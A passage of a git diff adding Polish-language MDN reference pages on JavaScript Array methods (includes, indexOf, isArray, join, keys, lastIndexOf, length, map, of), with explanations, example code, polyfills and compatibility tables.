+    var k;
+    if (n >= 0) {
+      k = n;
+    } else {
+      k = len + n;
+      if (k < 0) {k = 0;}
+    }
+    var currentElement;
+    while (k < len) {
+      currentElement = O[k];
+      if (searchElement === currentElement ||
+         (searchElement !== searchElement && currentElement !== currentElement)) { // NaN !== NaN
+        return true;
+      }
+      k++;
+    }
+    return false;
+  };
+}
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}{{Spec2('ES7')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}{{Spec2('ESDraft')}} +

 

+
+ +

Kompatybilność przeglądarek

+ +
+
+ + +

{{Compat("javascript.builtins.Array.includes")}}

+
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/index.html b/files/pl/web/javascript/reference/global_objects/array/index.html new file mode 100644 index 0000000000..5cfe52578b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/index.html @@ -0,0 +1,279 @@ +--- +title: Array +slug: Web/JavaScript/Referencje/Obiekty/Array +tags: + - Array + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/Array +--- +
{{JSRef("Global_Objects", "Array")}}
+ +

Array  w języku JavaScript jest globalnym obiektem, który jest używany podczas tworzenia tablic – listo-podobnych obieków wysokiego poziomu.

+ +
+

Stwórz tablicę

+ +
var owoce = ['Jabłko', 'Banan'];
+
+console.log(owoce.length);
+// 2
+
+ +

Dostawanie się do elementu tablicy

+ +
var pierwszy = owoce[0];
+// Jablko
+
+var ostatni = owoce[owoce.length - 1];
+// Banan
+ +

Pętla przechodząca przez zawartość tablicy

+ +
owoce.forEach(function(item, index, array) {
+  console.log(item, index);
+});
+// Jablko 0
+// Banan 1
+ +

Dodawanie elementu na końcu tablicy

+ +
var nowaDługosc = owoce.push('Pomarańcz');
+// ["Jabłko", "Banan", "Pomarańcz"]
+ +

Usuwanie elemetu z końca tablicy

+ +
var ostatni = owoce.pop(); // usuwa pomarańczę z końca
+// ["Jabłko", "Banan"];
+ +

Usuwanie elementu z przodu tablicy

+ +
var pierwszy = owoce.shift(); // usuwa jabłko z początku
+// ["Banan"];
+ +

Dodawanie elementu z przodu tablicy

+ +
var nowaDługość = owoce.unshift('Truskawki') // dodaje na początku
+// ["Truskawkę", "Banan"];
+ +

Znajdowanie indeksu (numeru porządkowego) elementu t tablicy

+ +
owoce.push('Mango');
+// ["Truskawka", "Banan", "Mango"]
+
+var pos = owoce.indexOf('Banan');
+// 1
+ +

Usuwanie obiektu przy użyciu indeksu

+ +
var usunElement = owoce.splice(pos, 1); // tak się usuwa element
+
+// ["Truskawka", "Mango"]
+ +

Usuwanie elementów przy użyciu pozycji w indeksie

+ +
var warzywa = ["Kapusta", "Rzepa", "Rzodkiew", "Marchew"];
+console.log(warzywa);
+// ["Kapusta", "Rzepa", "Rzodkiew", "Marchew"]
+
+var pos = 1, n = 2;
+
+var usunieteElementy = warzywa.splice(pos, n);
+// n oznacza liczbę elementów do usunięcia
+// zaczynając od elementu na określonej pozycji(pos)
+
+console.log(warzywa);
+// ["Kapusta", "Marchew"] (początkowa tablica została zmieniona)
+
+console.log(usunieteElementy);
+// ["Rzepa", "Rzodkiew"]
+
+ +

Kopiowanie tablicy

+ +
var płytkaKopia = owoce.slice(); // tak się tworzy kopię
+// ["Truskawka", "Mango"]
+
+ +

Składnia:

+ +
[element0, element1, ..., elementN]
+new Array(element0, element1[, ...[, elementN]])
+new Array(długoscTablicy)
+ +
+
elementN
+
Lista wartości elementów tablicy. Tablica jest inicjowana z określonymi wartościami jako jej elementami. Długość tablicy (length) odpowiada liczbie jej elementów.
+
długośćTablicy
+
Początkowa długość tablicy. Aby móc przetwarzać wartości używamy własności długości tablicy length. Jeśli określona wartość nie jest liczbą, zostanie utworzona tablica jednoelementowa, a jej pierwszy element będzie posiadał ową wartość. Maksymalna długość tablicy wynosi 4,294,967,295 elementów.
+
+ +

Opis

+ +

Tablica jest uporządkowanym zbiorem wartości przyporządkowanych ustalonej pojedynczej zmiennej.

+ +

Poniższy przykład tworzy obiekt Array przy użyciu literału tablicy. Tablica kawa zawiera trzy elementy i ma długość (length) równą 3:

+ +
kawa = ["mocca", "cappucino", "zbożowa"]
+
+ +

Można utworzyć tzw. zwartą tablicę składającą się z dwóch lub więcej elementów, o początkowym indeksie 0, jeśli poda się początkowe wartości wszystkich elementów. Zwarta tablica to taka, w której każdy element posiada wartość. Poniższy kod tworzy zwartą tablicę o trzech elementach:

+ +
myArray = new Array("Hello", myVar, 3.14159)
+
+ +

Dostęp do elementów tablicy

+ +

Do elementów tablicy odwołujemy się po ich liczbie porządkowej (zaczynając od zera). Przykładowo, jeśli mamy zdefiniowaną tablicę:

+ +
mojaTablica = new Array("Wiatr","Deszcz","Ogień")
+
+ +

Do pierwszego elementu odwołujemy się poprzez mojaTablica[0], a do drugiego poprzez mojaTablica[1].

+ +

Podawanie pojedynczego parametru

+ +

Jeśli konstruktor Array zostanie wywołany z pojedynczym parametrem liczbowym, parametr ten zostanie uznany za początkową długość tablicy. Poniższy kod tworzy tablicę pięciu elementów:

+ +
rodzajPlatnosci = new Array(5)
+
+ +

Zachowanie konstruktora Array zależy od tego, czy jedyny parametr jest liczbą.

+ + + +

Poniższy kod tworzy tablicę o długości 25, a następnie przypisuje wartości pierwszym trzem elementom:

+ +
rodzajeMuzyki = new Array(25)
+rodzajeMuzyki[0] = "R&B"
+rodzajeMuzyki[1] = "Blues"
+rodzajeMuzyki[2] = "Jazz"
+
+ +

Pośrednie zwiększanie długości tablicy

+ +

Długość tablicy wzrasta samoczynnie, jeśli elementowi o indeksie wyższym niż obecna długość zostanie przypisana wartość. Poniższy kod tworzy tablicę o zerowej długości, a następnie przypisuje do niej 99. element. W wyniku długość tablicy zostaje zmieniona na 100.

+ +
kolory = new Array();
+kolory[99] = "ciemnoniebieski";
+
+ +

Tworzenie tablicy z wyników wyrażenia regularnego

+ +

Wynik porównania pomiędzy regularnym wyrażeniem a łańcuchem znaków może utworzyć tablicę. Ta tablica ma własności i elementy, które przekazują informacje dotyczące porównania. Tablica jest wartością zwracaną przez RegExp.exec, String.match i String.replace. Aby zrozumieć te własności spójrz na poniższy przykład odwołując się do poniższej tabeli:

+ +
//Porównuje łańcuch znaków złożony z jednego 'd' następnie kilku 'b' a następnie jednego 'd'
+//Zapamiętuje porównane 'b' i następujące 'd'
+//Ignoruje wielkość liter
+
+mojRe=/d(b+)(d)/i;
+mojaTablica = mojRe.exec("cdbBdbsbz");
+
+ +

Własności i elementy zwracają wartości z poniższej tabeli:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Własność/ElementOpisPrzykład
inputWartość tylko-do-odczytu, opisująca oryginalny łańcuch znaków, do którego porównano wyrażenie regularne.cdbBdbsbz
indexWłasność tylko-do-odczytu, będąca indeksem (zaczynając od 0) porównanego znaku w łańcuchu znaków.1
[0]Element tylko-do-odczytu, zawierający ostatnio porównane znaki.dbBd
[1], ... [n]Elementy tylko-do-odczytu, zawierające podobne podłańcuchy znaków, zawarte w wyrażeniu regularnym. Liczba możliwych podłańcuchów jest nieskończona.[1]: bB
+ [2]: d
+ +

Własności

+ +
+
+
+
{{jsxref("Array.length")}}
+
Odzwierciedla ilość elementów tablicy.
+
{{jsxref("Array.prototype")}}
+
Pozwala na dodawanie własności do wszystkich obiektów.
+
+
+
+ +

Metody

+ +
+
{{jsxref("Array.from()")}} {{experimental_inline}}
+
Tworzy nową instancję Array z obiektu podobnego do tablicy lub iterowalnego.
+
{{jsxref("Array.isArray()")}}
+
Zwraca true, jeśli zmienna jest tablicą, jeśli nie false.
+
{{jsxref("Array.observe()")}} {{experimental_inline}}
+
Asynchronicznie obserwuje zmiany w tablicach, podobnie jak {{jsxref ("Object.observe ()")}} dla obiektów. Zapewnia strumień zmian w kolejności występowania.
+
{{jsxref("Array.of()")}} {{experimental_inline}}
+
Tworzy nową instancję Array ze zmienną liczbą argumentów, niezależnie od liczby lub rodzaju argumentów.
+
+ +

Przykłady

+ +

Przykład: Tworzenie tablicy

+ +

Poniższy kod tworzy tablicę msgArray o długości 0, a następnie przypisuje wartości do msgArray[0] i msgArray[99], zwiększając długość tablicy do 100.

+ +
msgArray = new Array()
+msgArray[0] = "Witaj,"
+msgArray[99] = "świecie"
+// Poniższy warunek jest spełniony,
+// ponieważ zdefiniowano element msgArray[99].
+if (msgArray.length == 100)
+   myVar="Długość tablicy jest równa 100."
+
+ +

Przykład: Tworzenie tablicy dwuwymiarowej

+ +

Poniższy kod tworzy tablicę dwuwymiarową i przypisuje wyniki do zmiennej myVar.

+ +
myVar="Test tablicy wielowymiarowej; "
+a = new Array(4)
+for (i=0; i < 4; i++) {
+   a[i] = new Array(4)
+   for (j=0; j < 4; j++) {
+      a[i][j] = "["+i+","+j+"]"
+   }
+}
+for (i=0; i < 4; i++) {
+   str = "Wiersz "+i+":"
+   for (j=0; j < 4; j++) {
+      str += a[i][j]
+   }
+   myVar += str +"; "
+}
+
+ +

Poniższy łańcuch znaków będzie przypisany do zmiennej myVar (linie zostały przełamane dla zwiększenia czytelności):

+ +
Test tablicy wielowymiarowej;
+Wiersz 0:[0,0][0,1][0,2][0,3];
+Wiersz 1:[1,0][1,1][1,2][1,3];
+Wiersz 2:[2,0][2,1][2,2][2,3];
+Wiersz 3:[3,0][3,1][3,2][3,3];
+
+ +
diff --git a/files/pl/web/javascript/reference/global_objects/array/indexof/index.html b/files/pl/web/javascript/reference/global_objects/array/indexof/index.html new file mode 100644 index 0000000000..db63c3384c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/indexof/index.html @@ -0,0 +1,95 @@ +--- +title: Array.prototype.indexOf() +slug: Web/JavaScript/Referencje/Obiekty/Array/indexOf +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zwraca pierwszy (najmniejszy) indeks elementu w tablicy równego podanej wartości lub -1, gdy nie znaleziono takiego elementu.

+ +

Składnia

+ +
array.indexOf(searchElement[, fromIndex = 0]);
+
+ +

Parametry

+ +
+
searchElement
+
Element do znalezienia w tablicy.
+
fromIndex
+
Indeks od którego ma zacząć się wyszukiwanie. Domyślnie 0 - przeszukana zostanie cała tablica. Jeżeli indeks będzie większy lub równy ilości elementów tablica nie zostanie przeszukana - funkcja zwróci -1. Jeżeli podana zostanie liczba ujemna zostanie dodany do niej rozmiar tablicy (np. podanie -5 oznacza przeszukiwanie od 5 elementu od końca). Jeżeli tak obliczony indeks jest mniejszy od zera przeszukana zostanie cała tablica. Uwaga, wyszukiwanie dalej będzie się odbywać w kierunku rosnących indeksów.
+
+ +

Opis

+ +

indexOf porównuje searchElement z elementami tablicy używając ścisłego porównania (podobnie jak w przypadku operatora ===).

+ +

Kompatybilność

+ +

indexOf jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie indexOf w implementacji ECMA-262, które nie wspierają tego natywnie.

+ +
if (!Array.prototype.indexOf)
+{
+  Array.prototype.indexOf = function(elt /*, from*/)
+  {
+    var len = this.length;
+
+    var from = Number(arguments[1]) || 0;
+    from = (from < 0)
+         ? Math.ceil(from)
+         : Math.floor(from);
+    if (from < 0)
+      from += len;
+
+    for (; from < len; from++)
+    {
+      if (from in this &&
+          this[from] === elt)
+        return from;
+    }
+    return -1;
+  };
+}
+
+ +

Należy zwrócić uwagę, że ta implementacja ma na celu całkowitą zgodność z indexOf występującą w Firefoksie i silniku JavaScript SpiderMonkey, włączając w to przypadki w których przesyłany do indexOf indeks nie jest wartością liczbową. Jeśli masz zamiar wykorzystać przytoczone rozwiązanie w rzeczywistych aplikacjach, możesz nie potrzebować całego powyższego kodu (części odpowiedzialnej za obliczenie wartości from).

+ +

Przykłady

+ +

Przykład: Zastosowanie indexOf

+ +

Następujący przykład stosuje indexOf do znalezienia pierwszego wystąpienia elementów.

+ +
array = [2, 5, 9];
+index = array.indexOf(2);
+// index jest 0
+index = array.indexOf(7);
+// index jest -1
+
+ +

Przykład: Wyszukiwanie wszystkich wystąpień w tablicy

+ +

Poniższy przykład używa indexOf do znalezienia wszystkich wystąpień elementu w tablicy oraz dodaje ich indeksy do drugiej tablicy używając metody {{jsxref("Array.prototype.push()")}}.

+ +
indices = [];
+idx = array.indexOf(element)
+while (idx != -1) {
+   indices.push(idx);
+   idx = array.indexOf(element, idx + 1);
+}
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/isarray/index.html b/files/pl/web/javascript/reference/global_objects/array/isarray/index.html new file mode 100644 index 0000000000..62083e0853 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/isarray/index.html @@ -0,0 +1,139 @@ +--- +title: Array.isArray() +slug: Web/JavaScript/Referencje/Obiekty/Array/isArray +translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray +--- +
{{JSRef("Global_Objects", "Array")}}
+ +

Podsumowanie

+ +

Array.isArray() to metoda, która zwraca true  jeśli obiekt jest tablicą, fałsz jeśli nie jest.

+ +

Składnia

+ +
Array.isArray(obj)
+ +

Parametry

+ +
+
obj
+
Obiekt do sprawdzenia
+
+ +

Opis

+ +

Zobacz artykuł  “Determining with absolute accuracy whether or not a JavaScript object is an array” , aby poznać więcej szczegółów.

+ +

Przykłady

+ +
// poniższe przykłady zwrócą true
+Array.isArray([]);
+Array.isArray([1]);
+Array.isArray(new Array());
+// Mało znany fakt: Array.prototype sam w sobie jest tablicą:
+Array.isArray(Array.prototype);
+
+// poniższe przykłady zwrócą false
+Array.isArray();
+Array.isArray({});
+Array.isArray(null);
+Array.isArray(undefined);
+Array.isArray(17);
+Array.isArray('Array');
+Array.isArray(true);
+Array.isArray(false);
+Array.isArray({ __proto__: Array.prototype });
+
+ +

Dostępność wsteczna

+ +

Jeśli metody Array.isArray() nie jest natywnie dostępna, poniższy kod ją utworzy.

+ +
if (!Array.isArray) {
+  Array.isArray = function(arg) {
+    return Object.prototype.toString.call(arg) === '[object Array]';
+  };
+}
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}{{Spec2('ES5.1')}}Wstępna definicja. Implementacja od  JavaScript 1.8.5.
{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}{{Spec2('ES6')}} 
+ +

Zgodność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("5")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("9")}}{{CompatOpera("10.5")}}{{CompatSafari("5")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Based on Kangax's compat table.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/join/index.html b/files/pl/web/javascript/reference/global_objects/array/join/index.html new file mode 100644 index 0000000000..b4b22afc49 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/join/index.html @@ -0,0 +1,50 @@ +--- +title: Array.prototype.join() +slug: Web/JavaScript/Referencje/Obiekty/Array/join +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/join +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Łączy wszystkie elementy tablicy w jeden łańcuch znaków.

+ +

Składnia

+ +
str = arr.join([separator = ','])
+ +

Parametry

+ +
+
separator 
+
Określa łańcuch znaków użyty do oddzielenia każdego z elementów tablicy. W razie konieczności separator jest konwertowany do łańcucha znaków. Jeśli parametr zostanie pominięty, elementy tablicy będą rozdzielone za pomocą przecinka.
+
+ +

Opis

+ +

Metoda join zmienia w łańcuchy znaków wszystkie elementy tablicy i łączy je w jeden łańcuch znaków.

+ +

Przykłady

+ +

Przykład: Łączenie tablicy na trzy różne sposoby

+ +

Poniższy przykład tworzy trzyelementową tablicę a zawierającą trzy elementy, następnie trzykrotnie łączy ją: używając domyślnego separatora, przecinka i spacji oraz znaku plus.

+ +
var a = new Array("Wiatr","Deszcz","Ogień");
+var myVar1 = a.join()      // przypisuje "Wiatr,Deszcz,Ogień" do myVar1
+var myVar2 = a.join(", ")  // przypisuje "Wiatr, Deszcz, Ogień" do myVar2
+var myVar3 = a.join(" + ") // przypisuje "Wiatr + Deszcz + Ogień" do myVar3
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/keys/index.html b/files/pl/web/javascript/reference/global_objects/array/keys/index.html new file mode 100644 index 0000000000..4ab6d7e18e --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/keys/index.html @@ -0,0 +1,120 @@ +--- +title: Array.prototype.keys() +slug: Web/JavaScript/Referencje/Obiekty/Array/keys +translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys +--- +
{{JSRef}}
+ +

Metoda keys() zwraca nowy obiekt typu Array Iterator zawierający indeksy kolejnych elementów tablicy.

+ +
var arr = ['a', 'b', 'c'];
+var iterator = arr.keys();
+
+console.log(iterator.next()); // { value: 0, done: false }
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+
+ +

Składnia

+ +
arr.keys()
+ +

Zwracana wartość

+ +

Nowy iterator dla typu {{jsxref("Array")}}.

+ +

Przykłady

+ +

Iterator nie ignoruje dziur

+ +
var arr = ['a', , 'c'];
+var sparseKeys = Object.keys(arr);
+var denseKeys = [...arr.keys()];
+console.log(sparseKeys); // ['0', '2']
+console.log(denseKeys);  // [0, 1, 2]
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}}{{Spec2('ES2015')}}Pierwsze wystąpienie.
{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari
Basic support{{CompatChrome("38")}}{{CompatGeckoDesktop("28")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOpera("25")}}{{CompatSafari("7.1")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("28")}}{{CompatNo}}{{CompatNo}}8.0
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/pl/web/javascript/reference/global_objects/array/lastindexof/index.html new file mode 100644 index 0000000000..3a6322d6b4 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/lastindexof/index.html @@ -0,0 +1,114 @@ +--- +title: Array.prototype.lastIndexOf() +slug: Web/JavaScript/Referencje/Obiekty/Array/lastIndexOf +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zwraca ostatni indeks, pod którym podany element może być znaleziony w tablicy, lub -1 jeśli nie jest obecny. Tablica jest przeszukiwana od końca, zaczynając od indeksu fromIndex

+ +

Składnia

+ +
arr.lastIndexOf(searchElement[, fromIndex = arr.length])
+ +

Parametry

+ +
+
searchElement
+
Element do znalezienia w tablicy.
+
fromIndex
+
Indeks od którego ma zostać rozpoczęte wyszukiwanie od tyłu. Domyślnie jest to długość tablicy, tzn. przeszukana zostanie cała tablica. Jeśli indeks jest większy od lub równy długości tablicy, przeszukana zostanie cała tablica. Jeśli jest ujemny, traktowany będzie jako przesunięcie od końca tablicy. Należy pamiętać, że nawet jeśli indeks jest ujemny, to i tak tablica przeszukiwana jest od końca do początku. Jeśli obliczony indeks jest mniejszy od 0, zwracana jest wartość -1, innymi słowy, tablica nie zostanie przeszukana.
+
+ +

Opis

+ +

lastIndexOf porównuje searchElement z elementami tablicy używając ścisłego porównania (podobnie jak w przypadku operatora ===).

+ +

Kompatybilność

+ +

lastIndexOf jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie lastIndexOf w implementacji ECMA-262, które nie wspierają tego natywnie.

+ +
if (!Array.prototype.lastIndexOf)
+{
+  Array.prototype.lastIndexOf = function(elt /*, from*/)
+  {
+    var len = this.length;
+
+    var from = Number(arguments[1]);
+    if (isNaN(from))
+    {
+      from = len - 1;
+    }
+    else
+    {
+      from = (from < 0)
+           ? Math.ceil(from)
+           : Math.floor(from);
+      if (from < 0)
+        from += len;
+      else if (from >= len)
+        from = len - 1;
+    }
+
+    for (; from > -1; from--)
+    {
+      if (from in this &&
+          this[from] === elt)
+        return from;
+    }
+    return -1;
+  };
+}
+
+ +

Należy zwrócić uwagę, że ta implementacja ma na celu całkowitą zgodność z lastIndexOf występującą w Firefoksie i silniku JavaScript SpiderMonkey, włączając w to przypadki skrajne. Jeśli masz zamiar wykorzystać przytoczone rozwiązanie w rzeczywistych aplikacjach, możesz obliczyć from za pomocą mniej skomplikowanego kodu (z pominięciem części instrukcji warunkowych).

+ +

Przykłady

+ +

Przykład: Zastosowanie lastIndexOf

+ +

Poniższy przykład używa lastIndexOf do znalezienia określonych wartości w tablicy.

+ +
array = [2, 5, 9, 2];
+index = array.lastIndexOf(2);
+// index is 3
+index = array.lastIndexOf(7);
+// index is -1
+index = array.lastIndexOf(2, 3);
+// index is 3
+index = array.lastIndexOf(2, 2);
+// index is 0
+index = array.lastIndexOf(2, -2);
+// index is 0
+index = array.lastIndexOf(2, -1);
+// index is 3
+
+ +

Przykład: Wyszukiwanie wszystkich wystąpień danego elementu

+ +

Poniższy przykład używa lastIndexOf do znalezienia wszystkich wystąpień elementu w tablicy oraz dodaje ich indeksy do drugiej tablicy używając metody push.

+ +
indices = [];
+idx = array.lastIndexOf(element)
+while (idx != -1) {
+   indices.push(idx);
+   idx = (idx > 0 ? array.lastIndexOf(element, idx - 1) : -1);
+}
+
+ +

Warto zauważyć, że obsłużyliśmy warunek idx == 0 oddzielnie, ponieważ element ten zostanie zawsze odnaleziony - bez względu na wartość parametru fromIndex - w przypadku gdy jest on pierwszym elementem tablicy. To różni tę metodę od metody {{jsxref("Array.prototype.indexOf()")}}.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/length/index.html b/files/pl/web/javascript/reference/global_objects/array/length/index.html new file mode 100644 index 0000000000..0ce2bbde35 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/length/index.html @@ -0,0 +1,53 @@ +--- +title: Array.prototype.length +slug: Web/JavaScript/Referencje/Obiekty/Array/length +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/length +--- +
{{JSRef("Global_Objects", "Array")}}
+ +

Podsumowanie

+ +

32-bitowa liczba całkowita bez znaku określająca liczbę elementów w tablicy.

+ +
{{js_property_attributes(1, 0, 0)}}
+ +
+

Składnia

+ +
arr.length
+
+ +

Opis

+ +

Wartością własności length jest dodatnia liczba całkowita mniejsza niż 2 do potęgi 32 (232).

+ +

W dowolnej chwili możesz ustalić wartość length w celu zmniejszenia rozmiaru tablicy. Ustawienie wartości length na większą niż rozmiar tablicy nie zwiększy liczby elementów, np. jeżeli ustawisz length na 3, podczas gdy obecną wartością jest liczba 2, tablica nadal będzie zawierać tylko 2 elementy.

+ +

Przykłady

+ +

Przykład: Iteracja przez wszystkie elementy tablicy

+ +

W poniższym przykładzie ilość elementów w tablicy numbers jest określana w instrukcji iteracyjnej na podstawie wartości length, następnie wartość każdego elementu jest podwajana.

+ +
var numbers = [1,2,3,4,5];
+for (var i = 0; i < numbers.length; i++) {
+  numbers[i] *= 2;
+}
+// zawartość tablicy to teraz [2,4,6,8,10];
+
+ +

Przykład: Skracanie tablicy

+ +

Poniższy przykład zmniejsza rozmiar tablicy statesUS do 50, jeżeli przekracza on tę wartość.

+ +
if (statesUS.length > 50) {
+   statesUS.length=50
+}
+
+ +
 
diff --git a/files/pl/web/javascript/reference/global_objects/array/map/index.html b/files/pl/web/javascript/reference/global_objects/array/map/index.html new file mode 100644 index 0000000000..2b25e7f1cd --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/map/index.html @@ -0,0 +1,93 @@ +--- +title: Array.prototype.map() +slug: Web/JavaScript/Referencje/Obiekty/Array/map +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/map +--- +
{{JSRef}}
+ +

Metoda map() tworzy nową tablicę zawierającą wyniki wywoływania podanej funkcji dla każdego elementu wywołującej tablicy.

+ +
var liczby = [1, 5, 10, 15];
+var podwojenia = liczby.map(function(x) {
+    return x * 2;
+});
+// podwojenia to teraz [2, 10, 20, 30]
+// liczby to dalej [1, 5, 10, 15]
+
+var liczby = [1, 4, 9];
+var pierwiastki = liczby.map(Math.sqrt);
+// pierwiastki to teraz [1, 2, 3]
+// liczby to dalej [1, 4, 9]
+
+ +

Składnia

+ +
var new_array = arr.map(function callback(currentValue, index, array){ // Zwróć element nowej tablicy }[, thisArg])
+ +

Parametry

+ +
+
callback
+
Funkcja tworząca element nowej tablicy, przyjmująca trzy argumenty:
+
+
+
currentValue
+
Element tablicy nad którym obecnie pracujemy
+
index
+
Indeks elementu tablicy nad którym obecnie pracujemy
+
array
+
Oryginalna tablica na rzecz której wywołano metodę map
+
+
+
thisArg
+
Opcjonalny. Wartość jaką użyć jako this podczas wywołania callback
+
+ +

Zwracana wartość

+ +

Nowa tablica zawierająca elementy będące wynikami wywoływani funkcji callback.

+ +

Opis

+ +

map wykonuje funkcję (callback) raz na każdym z elementów tablicy w kolejności i tworzy nową tablicę na podstawie wyników. callback wywoływany jest tylko dla indeksów tablicy które mają przypisane wartości, włącznie z undefined. Nie jest wywoływany dla brakujących elementów tablicy (indeksów które nigdy nie były ustawione, usunięte lub nie miały nigdy przypisanych wartości).

+ +

callback wywoływana jest z trzema argumentami: wartością elementu, jego indeksem i tablicą która jest trawersowana.

+ +

W przypadku podania argumentu thisObject, zostanie on przekazany jako this przy każdym wywołaniu callback. Gdy go brak, lub ma wartość null, użyty zostanie obiekt globalny przyporządkowany do callback.

+ +

map nie modyfikuje tablicy, na której jest wywołany.

+ +

Zakres elementów przetwarzanych przez map ustalany jest przed pierwszym wywołaniem callback. Elementy dodane do tablicy po wywołaniu map nie zostaną odwiedzone przez callback. Jeśli istniejący, element tablicy zostanie zmieniony lub usunięty, wartością przekazaną do callback będzie wartość z momentu w którym map odwiedza dany element; elementy usunięte przed sprawdzeniem będą przekazane jako undefined.

+ +

Przykłady

+ +

Wielkie litery łańcuchów w tablicy

+ +

Poniższy kod tworzy nową tablicę zawierającą pisaną wielkimi literami wersję wszystkich oryginalnych łańcuchów.

+ +
var strings = ["hello", "Array", "WORLD"];
+function makeUpperCase(v)
+{
+    return v.toUpperCase();
+}
+var uppers = strings.map(makeUpperCase);
+// uppers są teraz pisane wielkimi literami ["HELLO", "ARRAY", "WORLD"]
+// strings są niezmienione
+
+ +

Mapowanie tablicy liczb do tablicy pierwiastków kwadratowych

+ +

Poniższy kod pobiera tablicę liczb i tworzy nową tablicę z pierwiastkami kwadratowymi liczb z pierwszej tablicy.

+ +
var liczby = [1, 4, 9];
+var pierwiastki = liczby.map(Math.sqrt);
+// otrzymane pierwiastki [1, 2, 3]
+// pozostające nadal liczby [1, 4, 9]
+
+ +

 

diff --git a/files/pl/web/javascript/reference/global_objects/array/of/index.html b/files/pl/web/javascript/reference/global_objects/array/of/index.html new file mode 100644 index 0000000000..74c9974bd0 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/of/index.html @@ -0,0 +1,92 @@ +--- +title: Array.of() +slug: Web/JavaScript/Referencje/Obiekty/Array/of +translation_of: Web/JavaScript/Reference/Global_Objects/Array/of +--- +
{{JSRef}}
+ +

Metoda Array.of() tworzy nową instancję obiektu Array, która zawiera w sobie wszystkie argumenty przekazane do funkcji, niezależnie od ich liczby i typu.

+ +

Różnica pomiędzy Array.of() i konstruktorem Array polega na różnej interpretacji argumentów - Array.of(7) tworzy nową tablicę z jednym elementem(7), gdzie Array(7) tworzy nową tablicę z właściwością length ustawioną na 7 (Notatka: Oznacza to tablicę z 7 wolnymi miejscami, nie miejscami z wartościami undefined).

+ +
Array.of(7);       // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7);          // [ , , , , , , ]
+Array(1, 2, 3);    // [1, 2, 3]
+
+ +

Składnia

+ +
Array.of(element0[, element1[, ...[, elementN]]])
+ +

Parametry

+ +
+
